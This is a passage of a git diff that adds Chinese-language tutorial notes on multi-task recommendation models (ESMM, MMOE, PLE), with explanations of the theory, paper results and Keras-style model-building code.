+> 注意：其中只有CTR和CVR的label都同时为1时，CTCVR的label才是正样本1。如果出现CTR=0，CVR=1的样本，则为不合法样本，需删除。
+> pCTCVR是指，当用户已经点击的前提下，用户会购买的概率；pCVR是指如果用户点击了，会购买的概率。
+
+三个任务之间的关系为：
+
+<div align=center>
+  <img src="https://pic1.zhimg.com/80/v2-7bbeb8767db5d6a157852c8cd4221548_1440w.jpg" alt="img" style="zoom: 50%;" />
+</div>
+
+其中x表示曝光，y表示点击，z表示转化。针对这三个任务，设计了如图所示的模型结构：
+
+<div align=center>
+  <img src="https://pic1.zhimg.com/80/v2-6d8189bfe378dc4bf6f0db2ba0255eac_1440w.jpg" alt="img" style="zoom:50%;" />
+</div>
+
+
+如图，主任务和辅助任务共享特征，不同任务输出层使用不同的网络，将cvr的预测值*ctr的预测值作为ctcvr任务的预测值，利用ctcvr和ctr的label构造损失函数：
+
+<div align=center>
+<img src="https://pic3.zhimg.com/80/v2-0098ab4556a8c67a1c12322ea3f89606_1440w.jpg" alt="img" style="zoom: 33%;" />
+</div>
+
+
+
+该架构具有两大特点，分别给出上述两个问题的解决方案：
+
+- 帮助CVR模型在完整样本空间建模（即曝光空间X）。
+
+  <div align=center>
+  <img src="https://pic1.zhimg.com/80/v2-0b0c6dc7d4c38fa422a2876b7c4cc638_1440w.jpg" alt="img" style="zoom:33%;" />
+  </div>
+
+
+
+​	从公式中可以看出，pCVR 可以由pCTR 和pCTCVR推导出。从原理上来说，相当于分别单独训练两个模型拟合出pCTR 和pCTCVR，再通过pCTCVR 除以pCTR 得到最终的拟合目标pCVR 。在训练过程中，模型只需要预测pCTCVR和pCTR，利用两种相加组成的联合loss更新参数。pCVR 只是一个中间变量。而pCTCVR和pCTR的数据是在完整样本空间中提取的，从而相当于pCVR也是在整个曝光样本空间中建模。
+
+- 提供特征表达的迁移学习（embedding层共享）。CVR和CTR任务的两个子网络共享embedding层，网络的embedding层把大规模稀疏的输入数据映射到低维的表示向量，该层的参数占了整个网络参数的绝大部分，需要大量的训练样本才能充分学习得到。由于CTR任务的训练样本量要大大超过CVR任务的训练样本量，ESMM模型中特征表示共享的机制能够使得CVR子任务也能够从只有展现没有点击的样本中学习，从而能够极大地有利于缓解训练数据稀疏性问题。
+
+模型训练完成后，可以同时预测cvr、ctr、ctcvr三个指标，线上根据实际需求进行融合或者只采用此模型得到的cvr预估值。
+
+## 总结与拓展
+
+可以思考以下几个问题
+
+1. 能不能将乘法换成除法？
+   即分别训练CTR和CTCVR模型，两者相除得到pCVR。论文提供了消融实验的结果，表中的DIVISION模型，比起BASE模型直接建模CTCVRR和CVR，有显著提高，但低于ESMM。原因是pCTR 通常很小，除以一个很小的浮点数容易引起数值不稳定问题。
+   
+   <div align=center>
+   <img src="https://pic3.zhimg.com/80/v2-c0b2c860bd63a680d27c911c2e1ba8a2_1440w.jpg" alt="img" style="zoom:53%;" />
+   </div>
+
+2. 网络结构优化，Tower模型更换？两个塔不一致？
+   原论文中的子任务独立的Tower网络是纯MLP模型，事实上业界在使用过程中一般会采用更为先进的模型（例如DeepFM、DIN等），两个塔也完全可以根据自身特点设置不一样的模型。这也是ESMM框架的优势，子网络可以任意替换，非常容易与其他学习模型集成。
+
+3. 比loss直接相加更好的方式？
+   原论文是将两个loss直接相加，还可以引入动态加权的学习机制。
+
+4. 更长的序列依赖建模？
+   有些业务的依赖关系不止有曝光-点击-转化三层，后续的改进模型提出了更深层次的任务依赖关系建模。
+
+   阿里的ESMM2: 在点击到购买之前，用户还有可能产生加入购物车（Cart）、加入心愿单（Wish）等行为。
+
+<div align=center>
+<img src="https://pic2.zhimg.com/80/v2-4f9f5508412086315f85d1b7fda733e9_1440w.jpg" alt="img" style="zoom:53%;" />
+</div>
+
+​			相较于直接学习 click->buy (稀疏度约2.6%)，可以通过Action路径将目标分解，以Cart为例：click->cart (稀疏	度为10%)，cart->buy(稀疏度为12%)，通过分解路径，建立多任务学习模型来分步求解CVR模型，缓解稀疏问题，该模型同样也引入了特征共享机制。
+
+​	美团的[AITM](https://zhuanlan.zhihu.com/p/508876139/[https://cloud.tencent.com/developer/article/1868117](https://cloud.tencent.com/developer/article/1868117))：信用卡业务中，用户转化通常是一个**曝光->点击->申请->核卡->激活**的过程，具有5层的链路。
+
+ <div align=center>
+ <img src="https://pic4.zhimg.com/80/v2-0ecf42e999795511f40ac6cd7b85eccf_1440w.jpg" alt="img" style="zoom:50%;" />
+ </div>
+
+  
+
+ 	美团提出了一种自适应信息迁移多任务（**Adaptive Information Transfer Multi-task，AITM**）框架，该框架通过自适应信息迁移（AIT)模块对用户多步转化之间的序列依赖进行建模。AIT模块可以自适应地学习在不同的转化阶段需要迁移什么和迁移多少信息。
+
+总结：
+
+ESMM首创了利用用户行为序列数据在完整样本空间建模，并提出利用学习CTR和CTCVR的辅助任务，迂回学习CVR，避免了传统CVR模型经常遭遇的样本选择偏差和训练数据稀疏的问题，取得了显著的效果。
+
+## 代码实践
+
+与Shared-Bottom同样的共享底层机制，之后两个独立的Tower网络，分别输出CVR和CTR，计算loss时只利用CTR与CTCVR的loss。CVR Tower完成自身网络更新，CTR Tower同时完成自身网络和Embedding参数更新。在评估模型性能时，重点是评估主任务CVR的auc。
+
+```python
+def ESSM(dnn_feature_columns, task_type='binary', task_names=['ctr', 'ctcvr'],
+         tower_dnn_units_lists=[[128, 128],[128, 128]], l2_reg_embedding=0.00001, l2_reg_dnn=0,
+         seed=1024, dnn_dropout=0,dnn_activation='relu', dnn_use_bn=False):
+
+    features = build_input_features(dnn_feature_columns)
+    inputs_list = list(features.values())
+
+    sparse_embedding_list, dense_value_list = input_from_feature_columns(features, dnn_feature_columns, l2_reg_embedding,seed)
+
+    dnn_input = combined_dnn_input(sparse_embedding_list, dense_value_list)
+
+    ctr_output = DNN(tower_dnn_units_lists[0], dnn_activation, l2_reg_dnn, dnn_dropout, dnn_use_bn, seed=seed)(dnn_input)
+    cvr_output = DNN(tower_dnn_units_lists[1], dnn_activation, l2_reg_dnn, dnn_dropout, dnn_use_bn, seed=seed)(dnn_input)
+
+    ctr_logit = tf.keras.layers.Dense(1, use_bias=False, activation=None)(ctr_output)
+    cvr_logit = tf.keras.layers.Dense(1, use_bias=False, activation=None)(cvr_output)
+
+    ctr_pred = PredictionLayer(task_type, name=task_names[0])(ctr_logit)
+    cvr_pred = PredictionLayer(task_type)(cvr_logit)
+
+    ctcvr_pred = tf.keras.layers.Multiply(name=task_names[1])([ctr_pred, cvr_pred])#CTCVR = CTR * CVR
+
+    model = tf.keras.models.Model(inputs=inputs_list, outputs=[ctr_pred, cvr_pred, ctcvr_pred])
+    return model
+```
+
+测试数据集：
+
+adult：[https://archive.ics.uci.edu/ml/datasets/census+income](https://archive.ics.uci.edu/dataset/20/census+income)
+
+将里面两个特征转为label，完成两个任务的预测：
+
+- 任务1预测该用户收入是否大于50K，
+- 任务2预测该用户的婚姻是否未婚。
+
+以上两个任务均为二分类任务，使用交叉熵作为损失函数。在ESMM框架下，我们把任务1作为CTR任务，任务2作为CVR任务，两者label相乘得到CTCVR任务的标签。
+
+除ESSM之外，之后的MMOE、PLE模型都使用本数据集做测试。
+
+> 注意上述代码，并未实现论文模型图中提到的field element-wise +模块。该模块实现较为简单，即分别把用户、商品相关特征的embedding求和再拼接，然后输入Tower网络。我们使用数据不具有该属性，暂未区分。
+
+参考资料：
+
+https://www.zhihu.com/question/475787809
+
+https://zhuanlan.zhihu.com/p/37562283
+
+美团：[https://cloud.tencent.com/developer/article/1868117](https://cloud.tencent.com/developer/article/1868117)
+
+Entire Space Multi-Task Model: An Effective Approach for Estimating Post-Click Conversion Rate (SIGIR'2018)
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.5/MMOE.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.5/MMOE.md
new file mode 100644
index 0000000..af8dd6f
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.5/MMOE.md
@@ -0,0 +1,178 @@
+# MMOE
+
+## 写在前面
+
+MMOE是2018年谷歌提出的，全称是Multi-gate Mixture-of-Experts， 对于多个优化任务，引入了多个专家进行不同的决策和组合，最终完成多目标的预测。解决的是硬共享里面如果多个任务相似性不是很强，底层的embedding学习反而相互影响，最终都学不好的痛点。 
+
+本篇文章首先是先了解下Hard-parameter sharing以及存在的问题，然后引出MMOE，对理论部分进行整理，最后是参考deepctr简单复现。
+
+## 背景与动机
+
+推荐系统中，即使同一个场景，常常也不只有一个业务目标。 在Youtube的视频推荐中，推荐排序任务不仅需要考虑到用户点击率，完播率，也需要考虑到一些满意度指标，例如，对视频是否喜欢，用户观看后对视频的评分；在淘宝的信息流商品推荐中，需要考虑到点击率，也需要考虑转化率；而在一些内容场景中，需要考虑到点击和互动、关注、停留时长等指标。
+
+模型中，如果采用一个网络同时完成多个任务，就可以把这样的网络模型称为多任务模型， 这种模型能在不同任务之间学习共性以及差异性，能够提高建模的质量以及效率。  常见的多任务模型的设计范式大致可以分为三大类： 
+* hard parameter sharing 方法： 这是非常经典的一种方式，底层是共享的隐藏层，学习各个任务的共同模式，上层用一些特定的全连接层学习特定任务模式。  
+    <div align=center>
+    <img src="https://img-blog.csdnimg.cn/ed10df1df313413daf2a6a6174ef4f8c.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA57-75rua55qE5bCPQOW8ug==,size_1,color_FFFFFF,t_70,g_se,x_16#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+    </div>
+	这种方法目前用的也有，比如美团的猜你喜欢，知乎推荐的Ranking等， 这种方法最大的优势是Task越多， 单任务更加不可能过拟合，即可以减少任务之间过拟合的风险。 但是劣势也非常明显，就是底层强制的shared layers难以学习到适用于所有任务的有效表达。 **尤其是任务之间存在冲突的时候**。MMOE中给出了实验结论，当两个任务相关性没那么好(比如排序中的点击率与互动，点击与停留时长)，此时这种结果会遭受训练困境，毕竟所有任务底层用的是同一组参数。
+* soft parameter sharing: 硬的不行，那就来软的，这个范式对应的结果从`MOE->MMOE->PLE`等。 即底层不是使用共享的一个shared bottom，而是有多个tower， 称为多个专家，然后往往再有一个gating networks在多任务学习时，给不同的tower分配不同的权重，那么这样对于不同的任务，可以允许使用底层不同的专家组合去进行预测，相较于上面所有任务共享底层，这个方式显得更加灵活
+* 任务序列依赖关系建模：这种适合于不同任务之间有一定的序列依赖关系。比如电商场景里面的ctr和cvr，其中cvr这个行为只有在点击之后才会发生。所以这种依赖关系如果能加以利用，可以解决任务预估中的样本选择偏差(SSB)和数据稀疏性(DS)问题
+	* 	样本选择偏差: 后一阶段的模型基于上一阶段采样后的样本子集训练，但最终在全样本空间进行推理，带来严重泛化性问题
+	* 	样本稀疏： 后一阶段的模型训练样本远小于前一阶段任务
+
+	<br>ESSM是一种较为通用的任务序列依赖关系建模的方法，除此之外，阿里的DBMTL，ESSM2等工作都属于这一个范式。  这个范式可能后面会进行整理，本篇文章不过多赘述。
+
+通过上面的描述，能大体上对多任务模型方面的几种常用建模范式有了解，然后也知道了hard parameter sharing存在的一些问题，即不能很好的权衡特定任务的目标与任务之间的冲突关系。而这也就是MMOE模型提出的一个动机所在了， 那么下面的关键就是MMOE模型是怎么建模任务之间的关系的，又是怎么能使得特定任务与任务关系保持平衡的？ 
+
+带着这两个问题，下面看下MMOE的细节。
+
+## MMOE模型的理论及论文细节
+MMOE模型结构图如下。
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/29c5624f2c8a46c097f097af7dbf4b45.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA57-75rua55qE5bCPQOW8ug==,size_2,color_FFFFFF,t_70,g_se,x_16#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+这其实是一个演进的过程，首先hard parameter sharing这个就不用过多描述了， 下面主要是看MOE模型以及MMOE模型。
+
+### 混合专家模型
+我们知道共享的这种模型结构，会遭受任务之间冲突而导致可能无法很好的收敛，从而无法学习到任务之间的共同模式。这个结构也可以看成是多个任务共用了一个专家。
+
+先抛开任务关系， 我们发现一个专家在多任务学习上的表达能力很有限，于是乎，尝试引入多个专家，这就慢慢的演化出了混合专家模型。 公式表达如下：
+$$
+y=\sum_{i=1}^{n} g(x)_{i} f_{i}(x)
+$$
+这里的$y$表示的是多个专家的汇总输出，接下来这个东西要过特定的任务塔去得到特定任务的输出。  这里还加了一个门控网络机制，就是一个注意力网络， 来学习各个专家的重要性权重$\sum_{i=1}^{n} g(x)_{i}=1$。$f_i(x)$就是每个专家的输出， 而$g(x)_i$就是每个专家对应的权重。  虽然感觉这个东西，无非就是在单个专家的基础上多引入了几个全连接网络，然后又给这几个全连接网络加权，但是在我看来，这里面至少蕴含了好几个厉害的思路：
+1. 模型集成思想： 这个东西很像bagging的思路，即训练多个模型进行决策，这个决策的有效性显然要比单独一个模型来的靠谱一点，不管是从泛化能力，表达能力，学习能力上，应该都强于一个模型
+2. 注意力思想:  为了增加灵活性， 为不同的模型还学习了重要性权重，这可能考虑到了在学习任务的共性模式上， 不同的模型学习的模式不同，那么聚合的时候，显然不能按照相同的重要度聚合，所以为各个专家学习权重，默认了不同专家的决策地位不一样。这个思想目前不过也非常普遍了。
+3. multi-head机制: 从另一个角度看， 多个专家其实代表了多个不同head, 而不同的head代表了不同的非线性空间，之所以说表达能力增强了，是因为把输入特征映射到了不同的空间中去学习任务之间的共性模式。可以理解成从多个角度去捕捉任务之间的共性特征模式。
+
+MOE使用了多个混合专家增加了各种表达能力，但是， 一个门控并不是很灵活，因为这所有的任务，最终只能选定一组专家组合，即这个专家组合是在多个任务上综合衡量的结果，并没有针对性了。 如果这些任务都比较相似，那就相当于用这一组专家组合确实可以应对这多个任务，学习到多个相似任务的共性。 但如果任务之间差的很大，这种单门控控制的方式就不行了，因为此时底层的多个专家学习到的特征模式相差可能会很大，毕竟任务不同，而单门控机制选择专家组合的时候，肯定是选择出那些有利于大多数任务的专家， 而对于某些特殊任务，可能学习的一塌糊涂。  
+
+所以，这种方式的缺口很明显，这样，也更能理解为啥提出多门控控制的专家混合模型了。
+
+### MMOE结构
+Multi-gate Mixture-of-Experts(MMOE)的魅力就在于在OMOE的基础上，对于每个任务都会涉及一个门控网络，这样，对于每个特定的任务，都能有一组对应的专家组合去进行预测。更关键的时候，参数量还不会增加太多。公式如下：
+
+$$
+y_{k}=h^{k}\left(f^{k}(x)\right),
+$$
+where $f^{k}(x)=\sum_{i=1}^{n} g^{k}(x)_{i} f_{i}(x)$.  这里的$k$表示任务的个数。 每个门控网络是一个注意力网络：
+$$
+g^{k}(x)=\operatorname{softmax}\left(W_{g k} x\right)
+$$
+$W_{g k} \in \mathbb{R}^{n \times d}$表示权重矩阵， $n$是专家的个数， $d$是特征的维度。
+
+上面的公式这里不用过多解释。
+
+这个改造看似很简单，只是在OMOE上额外多加了几个门控网络，但是却起到了杠杆般的效果，我这里分享下我的理解。
+* 首先，就刚才分析的OMOE的问题，在专家组合选取上单门控会产生限制，此时如果多个任务产生了冲突，这种结构就无法进行很好的权衡。 而MMOE就不一样了。MMOE是针对每个任务都单独有个门控选择专家组合，那么即使任务冲突了，也能根据不同的门控进行调整，选择出对当前任务有帮助的专家组合。所以，我觉得单门控做到了**针对所有任务在专家选择上的解耦**，而多门控做到了**针对各个任务在专家组合选择上的解耦**。
+* 多门控机制能够建模任务之间的关系了。如果各个任务都冲突， 那么此时有多门控的帮助， 此时让每个任务独享一个专家，如果任务之间能聚成几个相似的类，那么这几类之间应该对应的不同的专家组合，那么门控机制也可以选择出来。如果所有任务都相似，那这几个门控网络学习到的权重也会相似，所以这种机制把任务的无关，部分相关和全相关进行了一种统一。
+* 灵活的参数共享， 这个我们可以和hard模式或者是针对每个任务单独建模的模型对比，对于hard模式，所有任务共享底层参数，而每个任务单独建模，是所有任务单独有一套参数，算是共享和不共享的两个极端，对于都共享的极端，害怕任务冲突，而对于一点都不共享的极端，无法利用迁移学习的优势，模型之间没法互享信息，互为补充，容易遭受过拟合的困境，另外还会增加计算量和参数量。 而MMOE处于两者的中间，既兼顾了如果有相似任务，那就参数共享，模式共享，互为补充，如果没有相似任务，那就独立学习，互不影响。 又把这两种极端给进行了统一。
+* 训练时能快速收敛，这是因为相似的任务对于特定的专家组合训练都会产生贡献，这样进行一轮epoch，相当于单独任务训练时的多轮epoch。
+
+OK， 到这里就把MMOE的故事整理完了，模型结构本身并不是很复杂，非常符合"大道至简"原理，简单且实用。  
+
+
+那么， 为什么多任务学习为什么是有效的呢？  这里整理一个看到比较不错的答案：
+>多任务学习有效的原因是引入了归纳偏置，两个效果：
+> - 互相促进： 可以把多任务模型之间的关系看作是互相 先验知识，也称为归纳迁移，有了对模型的先验假设，可以更好提升模型的效果。解决数据稀疏性其实本身也是迁移学习的一个特性，多任务学习中也同样会体现
+> - 泛化作用：不同模型学到的表征不同，可能A模型学到的是B模型所没有学好的，B模型也有其自身的特点，而这一点很可能A学不好，这样一来模型健壮性更强
+
+## MMOE模型的简单复现之多任务预测
+### 模型概貌
+这里是MMOE模型的简单复现，参考的deepctr。
+
+由于MMOE模型不是很复杂，所以这里就可以直接上代码，然后简单解释：
+
+```python
+def MMOE(dnn_feature_columns, num_experts=3, expert_dnn_hidden_units=(256, 128), tower_dnn_hidden_units=(64,),
+        gate_dnn_hidden_units=(), l2_reg_embedding=0.00001, l2_reg_dnn=0, dnn_dropout=0, dnn_activation='relu',
+        dnn_use_bn=False, task_types=('binary', 'binary'), task_names=('ctr', 'ctcvr')):
+    
+    num_tasks = len(task_names)
+    
+    # 构建Input层并将Input层转成列表作为模型的输入
+    input_layer_dict = build_input_layers(dnn_feature_columns)
+    input_layers = list(input_layer_dict.values())
+    
+    # 筛选出特征中的sparse和Dense特征， 后面要单独处理
+    sparse_feature_columns = list(filter(lambda x: isinstance(x, SparseFeat), dnn_feature_columns))
+    dense_feature_columns = list(filter(lambda x: isinstance(x, DenseFeat), dnn_feature_columns))
+    
+    # 获取Dense Input
+    dnn_dense_input = []
+    for fc in dense_feature_columns:
+        dnn_dense_input.append(input_layer_dict[fc.name])
+    
+    # 构建embedding字典
+    embedding_layer_dict = build_embedding_layers(dnn_feature_columns)
+    # 离散的这些特特征embedding之后，然后拼接，然后直接作为全连接层Dense的输入，所以需要进行Flatten
+    dnn_sparse_embed_input = concat_embedding_list(sparse_feature_columns, input_layer_dict, embedding_layer_dict, flatten=False)
+    
+    # 把连续特征和离散特征合并起来
+    dnn_input = combined_dnn_input(dnn_sparse_embed_input, dnn_dense_input)
+    
+    # 建立专家层
+    expert_outputs = []
+    for i in range(num_experts):
+        expert_network = DNN(expert_dnn_hidden_units, dnn_activation, l2_reg_dnn, dnn_dropout, dnn_use_bn, seed=2022, name='expert_'+str(i))(dnn_input)
+        expert_outputs.append(expert_network)
+    
+    expert_concat = Lambda(lambda x: tf.stack(x, axis=1))(expert_outputs)
+    
+    # 建立多门控机制层
+    mmoe_outputs = []
+    for i in range(num_tasks):  # num_tasks=num_gates
+        # 建立门控层
+        gate_input = DNN(gate_dnn_hidden_units, dnn_activation, l2_reg_dnn, dnn_dropout, dnn_use_bn, seed=2022, name='gate_'+task_names[i])(dnn_input)
+        gate_out = Dense(num_experts, use_bias=False, activation='softmax', name='gate_softmax_'+task_names[i])(gate_input)
+        gate_out = Lambda(lambda x: tf.expand_dims(x, axis=-1))(gate_out)
+        
+        # gate multiply the expert
+        gate_mul_expert = Lambda(lambda x: reduce_sum(x[0] * x[1], axis=1, keep_dims=False), name='gate_mul_expert_'+task_names[i])([expert_concat, gate_out])
+        
+        mmoe_outputs.append(gate_mul_expert)
+    
+    # 每个任务独立的tower
+    task_outputs = []
+    for task_type, task_name, mmoe_out in zip(task_types, task_names, mmoe_outputs):
+        # 建立tower
+        tower_output = DNN(tower_dnn_hidden_units, dnn_activation, l2_reg_dnn, dnn_dropout, dnn_use_bn, seed=2022, name='tower_'+task_name)(mmoe_out)
+        logit = Dense(1, use_bias=False, activation=None)(tower_output)
+        output = PredictionLayer(task_type, name=task_name)(logit)
+        task_outputs.append(output)
+    
+    model = Model(inputs=input_layers, outputs=task_outputs)
+    return model
+```
+这个其实比较简单， 首先是传入封装好的dnn_features_columns， 这个是
+
+```python
+dnn_features_columns = [SparseFeat(feat, feature_max_idx[feat], embedding_dim=4) for feat in sparse_features] \
+                         + [DenseFeat(feat, 1) for feat in dense_features]
+```
+就是数据集先根据特征类别分成离散型特征和连续型特征，然后通过sparseFeat或者DenseFeat进行封装起来，组成的一个列表。
+
+传入之后， 首先为这所有的特征列建立Input层，然后选择出离散特征和连续特征来，连续特征直接拼接即可， 而离散特征需要过embedding层得到连续型输入。把这个输入与连续特征拼接起来，就得到了送入专家的输入。
+
+接下来，建立MMOE的多个专家， 这里的专家直接就是DNN，当然这个可以替换，比如MOSE里面就用了LSTM，这样的搭建模型方式非常灵活，替换起来非常简单。 把输入过多个专家得到的专家的输出，这里放到了列表里面。
+
+接下来，建立多个门控网络，由于MMOE里面是每个任务会有一个单独的门控进行控制，所以这里的门控网络个数和任务数相同，门控网络也是DNN，接收输入，得到专家个输出作为每个专家的权重，把每个专家的输出加权组合得到门控网络最终的输出，放到列表中，这里的列表长度和task_num对应。
+
+接下来， 为每个任务建立tower，学习特定的feature信息。同样也是DNN，接收的输入是上面列表的输出，每个任务的门控输出输入到各自的tower里面，得到最终的输出即可。  最终的输出也是个列表，对应的每个任务最终的网络输出值。
+
+这就是整个MMOE网络的搭建逻辑。
+
+
+**参考资料**:
+* [MMOE论文](https://dl.acm.org/doi/pdf/10.1145/3219819.3220007)
+* [Recommending What Video to Watch Next: A Multitask
+Ranking System](https://dl.acm.org/doi/pdf/10.1145/3298689.3346997)
+* [Multitask Mixture of Sequential Experts for User Activity Streams](https://research.google/pubs/pub49274/)
+* [推荐系统中的多目标学习](https://zhuanlan.zhihu.com/p/183760759)
+* [推荐精排模型之多目标](https://zhuanlan.zhihu.com/p/221738556)
+* [Youtube视频推荐中应用MMOE模型](http://t.zoukankan.com/Lee-yl-p-13274642.html)
+* [多任务学习论文导读：Recommending What Video to Watch Next-A Multitask Ranking System](https://blog.csdn.net/fanzitao/article/details/104525843/)
+* [多任务模型之MoSE](https://zhuanlan.zhihu.com/p/161628342)
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.5/PLE.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.5/PLE.md
new file mode 100644
index 0000000..e81869c
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.5/PLE.md
@@ -0,0 +1,389 @@
+# PLE
+
+**PLE**(Progressive Layered Extraction)模型由腾讯PCG团队在2020年提出，主要为了解决跷跷板问题，该论文获得了RecSys'2020的最佳长论文（Best Lone Paper Award）。
+
+## 背景与动机
+
+文章首先提出多任务学习中不可避免的两个缺点：
+
+- 负迁移（Negative Transfer）：针对相关性较差的任务，使用shared-bottom这种硬参数共享的机制会出现负迁移现象，不同任务之间存在冲突时，会导致模型无法有效进行参数的学习，不如对多个任务单独训练。
+- 跷跷板现象（Seesaw Phenomenon）：针对相关性较为复杂的场景，通常不可避免出现跷跷板现象。多任务学习模式下，往往能够提升一部分任务的效果，但同时需要牺牲其他任务的效果。即使通过MMOE这种方式减轻负迁移现象，跷跷板问题仍然广泛存在。
+
+在腾讯视频推荐场景下，有两个核心建模任务：
+
+- VCR(View Completion Ratio)：播放完成率，播放时间占视频时长的比例，回归任务
+- VTR(View Through Rate) ：有效播放率，播放时间是否超过某个阈值，分类任务
+
+这两个任务之间的关系是复杂的，在应用以往的多任务模型中发现，要想提升VTR准确率，则VCR准确率会下降，反之亦然。
+
+上一小节提到的MMOE网络存在如下几个缺点
+
+- MMOE中所有的Expert是被所有任务所共享，这可能无法捕捉到任务之间更复杂的关系，从而给部分任务带来一定的噪声。
+- 在复杂任务机制下，MMOE不同专家在不同任务的权重学的差不多
+- 不同的Expert之间没有交互，联合优化的效果有所折扣
+
+## 解决方案
+
+为了解决跷跷板现象，以及优化MMOE模型，PLE在网络结构设计上提出两大改进：
+
+**一、CGC**(Customized Gate Control) 定制门控
+
+PLE将共享的部分和每个任务特定的部分**显式的分开**，强化任务自身独立特性。把MMOE中提出的Expert分成两种，任务特定task-specific和任务共享task-shared。保证expert“各有所得”，更好的降低了弱相关性任务之间参数共享带来的问题。
+
+网络结构如图所示，同样的特征输入分别送往三类不同的专家模型（任务A专家、任务B专家、任务共享专家），再通过门控机制加权聚合之后输入各自的Tower网络。门控网络，把原始数据和expert网络输出共同作为输入，通过单层全连接网络+softmax激活函数，得到分配给expert的加权权重，与attention机制类型。
+
+
+
+<div align=center>
+<img src="https://pic3.zhimg.com/80/v2-c92975f7c21cc568a13cd9447adc757a_1440w.jpg" style="zoom:40%;" />
+</div>
+
+任务A有 ![[公式]](https://www.zhihu.com/equation?tex=m_A) 个expert，任务B有 ![[公式]](https://www.zhihu.com/equation?tex=m_B) 个expert，另外还有 ![[公式]](https://www.zhihu.com/equation?tex=m_S) 个任务A、B共享的Expert。这样对Expert做一个显式的分割，可以让task-specific expert只受自己任务梯度的影响，不会受到其他任务的干扰（每个任务保底有一个独立的网络模型)，而只有task-shared expert才受多个任务的混合梯度影响。
+
+MMOE则是将所有Expert一视同仁，都加权输入到每一个任务的Tower，其中任务之间的关系完全交由gate自身进行学习。虽然MMOE提出的门控机制理论上可以捕捉到任务之间的关系，比如任务A可能与任务B确实无关，则MMOE中gate可以学到，让个别专家对于任务A的权重趋近于0，近似得到PLE中提出的task-specific expert。如果说MMOE是希望让expert网络可以对不同的任务各有所得，则PLE是保证让expert网络各有所得。
+
+二、**PLE** (progressive layered extraction) 分层萃取
+
+PLE就是上述CGC网络的多层纵向叠加，以获得更加丰富的表征能力。在分层的机制下，Gate设计成两种类型，使得不同类型Expert信息融合交互。task-share gate融合所有Expert信息，task-specific gate只融合specific expert和share expert。模型结构如图：
+
+<div align=center>
+<img src="https://pic2.zhimg.com/80/v2-ff3b4aff3511e6e56a3b509f244c5ab1_1440w.jpg" style="zoom:40%;" />
+</div>
+
+将任务A、任务B和shared expert的输出输入到下一层，下一层的gate是以这三个上一层输出的结果作为门控的输入，而不是用原始input特征作为输入。这使得gate同时融合task-shares expert和task-specific expert的信息，论文实验中证明这种不同类型expert信息的交叉，可以带来更好的效果。
+
+三、多任务loss联合优化
+
+该论文专门讨论了loss设计的问题。在传统的多任务学习模型中，多任务的loss一般为
+
+<div align=center>
+<img src="https://pic4.zhimg.com/80/v2-ec1a0ae2a4001fea296662a9a5a1942b_1440w.jpg" style="zoom:33%;" />
+</div>
+
+其中K是指任务数， ![[公式]](https://www.zhihu.com/equation?tex=w_k) 是每个任务各自对应的权重。这种loss存在两个关键问题：
+
+- 不同任务之间的样本空间不一致：在视频推荐场景中，目标之间的依赖关系如图，曝光→播放→点击→(分享、评论），不同任务有不同的样本空间。
+
+  <div align=center>
+  <img src="https://pic3.zhimg.com/80/v2-bdf39ef6fcaf000924294cb010642fce_1440w.jpg" style="zoom:63%;" />
+  </div>
+
+
+
+​		PLE将训练样本空间作为全部任务样本空间的并集，在分别针对每个任务算loss时，只考虑该任务的样本的空		间，一般需对这种数据集会附带一个样本空间标签。loss公式如下：
+
+<div align=center>
+<img src="https://pic2.zhimg.com/80/v2-8defd1e5d1ba896bb2d18bdb1db4e3cd_1440w.jpg" style="zoom:40%;" />
+</div>
+
+
+​		其中， ![[公式]](https://www.zhihu.com/equation?tex=%5Cdelta_%7Bk%7D%5E%7Bi%7D+%5Cin%5C%7B0%2C1%5C%7D%2C+%5Cdelta_%7Bk%7D%5E%7Bi%7D+) 表示样本i是否处于任务k的样本空间。
+
+- 不同任务各自独立的权重设定：PLE提出了一种加权的规则，它的思想是随着迭代次数的增加，任务的权重应当不断衰减。它为每个任务设定一个初始权重 ![[公式]](https://www.zhihu.com/equation?tex=w_%7Bk%2C0%7D) ，再按该公式进行更新：
+
+  <div align=center>
+  <img src="https://pic1.zhimg.com/80/v2-2fbd23599bd2cd62222607e76cb975ec_1440w.jpg" style="zoom:40%;" />
+  </div>
+
+## 实验
+
+该论文的一大特点是提供了极其丰富的实验，首先是在自身大规模数据集上的离线实验。
+
+第一组实验是两个关系复杂的任务VTR（回归）与VCR（分类），如表1，实验结果证明PLE可以实现多任务共赢，而其他的硬共享或者软共享机制，则会导致部分任务受损。
+
+<div align=center>
+<img src="https://pic1.zhimg.com/80/v2-4a190a8a3bcd810fbe1e810171ddc25c_1440w.jpg" alt="img" style="zoom: 33%;" />
+</div>
+
+
+
+第二组实验是两个关系简单清晰的任务，CTR与VCR，都是分类任务，且CTR→VCR存在任务依赖关系，如表2，这种多任务下，基本上所有参数共享的模型都能得到性能的提升，而PLE的提升效果最为明显。
+
+<div align=center>
+<img src="https://pic4.zhimg.com/80/v2-29baaf461d29a4eff32e7ea324ef7f77_1440w.jpg" alt="img" style="zoom: 50%;" />
+</div>
+
+
+
+第三组实验则是线上的A/B Test，上面两组离线实验中，其实PLE相比于其他baseline模型，无论是回归任务的mse，还是分类任务的auc，提升都不是特别显著。在推荐场景中，评估模型性能的最佳利器还是线上的A/B Test。作者在pcg视频推荐的场景中，将部分用户随机划分到不同的实验组中，用PLE模型预估VTR和VCR，进行四周的实验。如表3所示，线上评估指标（总播放完成视频数量和总播放时间）均得到了较为显著的提升，而硬参数共享模型则带对两个指标都带来显著的下降。
+
+<div align=center>
+<img src="https://pic3.zhimg.com/80/v2-d6daf1d58fa5edd9fa96aefd254f71ee_1440w.jpg" alt="img" style="zoom: 50%;" />
+</div>
+
